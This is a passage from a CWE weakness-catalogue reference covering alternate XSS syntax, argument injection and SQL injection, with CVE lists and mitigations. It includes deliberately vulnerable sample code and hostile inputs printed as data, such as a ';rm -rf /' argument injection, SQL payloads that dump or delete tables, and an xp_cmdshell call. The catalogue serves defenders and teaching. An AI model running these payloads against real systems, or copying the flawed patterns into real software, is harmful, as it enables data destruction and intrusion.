CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse.

#### Potential Mitigations

##### Implementation

##### Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

##### Implementation

##### Identify and Reduce Attack Surface

##### Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	<b>699</b>	131
PeerOf	<b>B</b>	184	Incomplete Blacklist	1000	352
ChildOf	<b>B</b>	436	Interpretation Conflict	1000	749
ChildOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Invalid Characters in Identifiers
Software Fault Patterns	SFP24	Tainted input to command

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
73	User-Controlled Filename	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
199	Cross-Site Scripting Using Alternate Syntax	



CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
244	Cross-Site Scripting via Encoded URI Schemes	
247	Cross-Site Scripting with Masking through Invalid Characters in Identifiers	

## CWE-87: Improper Neutralization of Alternate XSS Syntax

Weakness ID: 87 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Read application data

##### Execute unauthorized code or commands

#### Demonstrative Examples

In the following example, an XSS neutralization routine checks for the lower-case "script" string but does not account for alternate strings ("SCRIPT", for example).

##### Java Example:

*Bad Code*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

#### Observed Examples

Reference	Description
CVE-2002-0738	XSS using "&={script}".

#### Potential Mitigations

##### Implementation

Resolve all input to absolute or canonical representations before processing.

##### Implementation

Carefully check each input parameter against a rigorous positive specification (white list) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

## Implementation

### Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used.

This can open up the browser to subtle XSS attacks.

### Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

### Implementation

#### Identify and Reduce Attack Surface

#### Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699	131
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Alternate XSS syntax
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
199	Cross-Site Scripting Using Alternate Syntax	

# CWE-88: Argument Injection or Modification

Weakness ID: 88 (Weakness Base)

Status: Draft

## Description

### Summary

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Other**

**Execute unauthorized code or commands**

**Alter execution logic**

**Read application data**

**Modify application data**

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.

**Demonstrative Examples**

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

**C Example:**

*Bad Code*

```
int main(char* argc, char** argv) {
  char cmd[CMD_MAX] = "/usr/bin/cat ";
  strcat(cmd, argv[1]);
  system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

**Observed Examples**

Reference	Description
CVE-1999-0113	Canonical Example
CVE-2001-0150	Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
CVE-2001-0667	Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
CVE-2002-0985	Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
CVE-2003-0907	Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp:/" URL.
CVE-2004-0121	Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
CVE-2004-0411	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0473	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0480	Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
CVE-2004-0489	SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
CVE-2005-4699	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
CVE-2006-1865	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands.

Reference	Description
	NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
CVE-2006-2056	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2057	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2058	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2312	Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
CVE-2006-3015	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
CVE-2006-4692	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
CVE-2006-6597	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
CVE-2007-0882	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.

## Potential Mitigations

### Architecture and Design

#### Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

**Implementation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

**Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Implementation**

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

**Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.


**Testing**

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	<b>699</b>	117
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	1133
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	734	1135
ChildOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	1245
ChildOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1314
ChildOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1316
ChildOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1358
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
CanAlsoBe	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1000	121
MemberOf	V	884	CWE Cross-section	884	1319

### Relationship Notes

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

### Affected Resources

- System Process

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Argument Injection or Modification
CERT C Secure Coding	ENV03-C	Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV04-C	Do not call system() if you do not need a command processor
CERT C Secure Coding	STR02-C	Sanitize data passed to complex subsystems
WASC	30	Mail Command Injection
CERT C++ Secure Coding	STR02-CPP	Sanitize data passed to complex subsystems
CERT C++ Secure Coding	ENV03-CPP	Sanitize the environment when invoking external programs
CERT C++ Secure Coding	ENV04-CPP	Do not call system() if you do not need a command processor

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads	
88	OS Command Injection	
133	Try All Common Application Switches and Options	
460	HTTP Parameter Pollution (HPP)	

### References

Steven Christey. "Argument injection issues". < <http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "The Argument Array", Page 567.. 1st Edition. Addison Wesley. 2006.

## CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89 (Weakness Base)

Status: Draft

### Description

#### Summary

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.



**Extended Description**

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Technology Classes**

- Database-Server

**Modes of Introduction**

This weakness typically appears in data-rich applications that save user inputs in a database.

**Common Consequences****Confidentiality****Read application data**

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

**Access Control****Bypass protection mechanism**

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

**Access Control****Bypass protection mechanism**

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

**Integrity****Modify application data**

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

**Likelihood of Exploit**

Very High

**Enabling Factors for Exploitation**

The application dynamically generates queries that contain user input.

**Detection Methods****Automated Static Analysis**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Automated Dynamic Analysis****Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Manual Analysis**

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Dynamic Analysis with automated results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Database Scanners

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

**Example 1:**

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. [1]

**Example 2:**

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

**C# Example:***Bad Code*

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = " + userName + " AND itemname = " + ItemName.Text + """;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

*Attack*

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

*Attack*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

*Attack*

```
OR 'a'='a'
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

*Attack*

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

**Example 3:**

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

*Attack*

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:

**SQL Example:***Attack*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on

Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

Attack

```
'name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a'
```

Then the following three valid statements will be created:

Attack

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted

- Find ways to bypass the need for certain escaped meta-characters

- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

Bad Code

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ' ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

#### Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

Bad Code

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where \$user\_input is taken from an untrusted source.

If the user provides the string:

Attack

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

Attack

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=""; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM\_CATEGORY="";

a second SQL query, which executes the dir command in the shell: exec master..xp\_cmdshell 'dir'

an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

### Example 5:

This code intends to print a message summary given the message ID.

#### PHP Example:

Bad Code

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on \$id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While \$id is wrapped in single quotes in the call to mysql\_query(), an attacker could simply change the incoming mid cookie to:

Attack

```
1432' or '1' = '1
```

This would produce the resulting query:

Result

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

#### PHP Example:

Good Code

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

### Example 6:

This example attempts to take a last name provided by a user and enter it into a database.

#### Perl Example:

Bad Code

```
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = whiteList($name, "^a-zA-z-'");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies -- then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may

want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

### Observed Examples

Reference	Description
CVE-2003-0377	SQL injection in security product, using a crafted group name.
CVE-2004-0366	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
CVE-2007-6602	SQL injection via user name.
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric.
CVE-2008-2380	SQL injection in authentication library.
CVE-2008-2790	SQL injection through an ID that was supposed to be numeric.
CVE-2008-5817	SQL injection via user name or password fields.

### Potential Mitigations

#### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

#### Architecture and Design

##### Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [R.89.3]

#### Architecture and Design

##### Operation

##### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.89.12]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

#### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.



**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS\_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the `mysql_real_escape_string()` API function is available in both C and PHP.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them.

This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

**Architecture and Design****Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

**Operation****Firewall****Moderate**

















Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Operation****Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
